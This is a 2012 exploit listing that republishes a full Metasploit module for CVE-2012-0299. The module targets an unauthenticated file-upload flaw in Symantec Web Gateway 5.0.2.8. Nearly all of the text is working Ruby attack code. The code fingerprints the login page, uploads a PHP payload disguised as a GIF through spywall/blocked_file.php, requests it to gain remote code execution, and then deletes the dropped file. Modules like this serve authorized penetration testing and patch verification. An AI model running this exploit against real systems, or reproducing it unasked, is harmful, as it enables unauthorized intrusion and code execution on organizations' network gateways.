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Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability

Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability
Posted Jun 11, 2012
Authored by Tenable Network Security, juan vazquez | Site metasploit.com

This Metasploit module exploits a file upload vulnerability found in Symantec Web Gateway's HTTP service. Due to the incorrect use of file extensions in the upload_file() function, this allows us to abuse the spywall/blocked_file.php file in order to upload a malicious PHP file without any authentication, which results in arbitrary code execution.

tags | exploit, web, arbitrary, php, code execution, file upload
advisories | CVE-2012-0299, OSVDB-82025
MD5 | be446e25ec745719bc33f2dda2461791

Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability",
'Description' => %q{
This module exploits a file upload vulnerability found in Symantec Web Gateway's
HTTP service. Due to the incorrect use of file extensions in the upload_file()
function, this allows us to abuse the spywall/blocked_file.php file in order to
upload a malicious PHP file without any authentication, which results in arbitrary
code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tenable Network Security', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0299' ],
[ 'OSVDB', '82025' ],
[ 'BID', '53443' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-091' ],
[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Symantec Web Gateway 5.0.2.8', {}],
],
'Privileged' => false,
'DisclosureDate' => "May 17 2012",
'DefaultTarget' => 0))
end


def check
res = send_request_raw({
'method' => 'GET',
'uri' => '/spywall/login.php'
})

if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end

def on_new_session(client)
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
client.fs.file.rm("temp.php")
else
client.shell_command_token("rm temp.php")
end
end

def exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'

peer = "#{rhost}:#{rport}"
payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'
before_filename = rand_text_alpha(rand(10) + 5)
after_filename = rand_text_alpha(rand(10) + 5)

post_data = Rex::MIME::Message.new
post_data.add_part("true", nil, nil, "form-data; name=\"submitted\"")
post_data.add_part(before_filename, "application/octet-stream", nil, "form-data; name=\"before_filename\"")
post_data.add_part(after_filename, "application/octet-stream", nil, "form-data; name=\"after_filename\"")
post_data.add_part("<?php #{payload.encoded} ?>", "image/gif", nil, "form-data; name=\"new_image\"; filename=\"#{payload_name}\"")

print_status("#{peer} - Sending PHP payload (#{payload_name})")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}spywall/blocked_file.php",
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})

# If the server returns 200 and the body contains the name
# of the default file, we assume we uploaded the malicious
# file successfully
if not res or res.code != 200 or res.body !~ /temp.php/
print_error("#{peer} - File wasn't uploaded, aborting!")
return
end

print_status("#{peer} - Executing PHP payload (#{payload_name})")
# Execute our payload
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{uri}spywall/images/upload/temp/temp.php"
})

# If we don't get a 200 when we request our malicious payload, we suspect
# we don't have a shell, either. Print the status code for debugging purposes.
if res and res.code != 200
print_status("#{peer} - Server returned #{res.code.to_s}")
end
end

end

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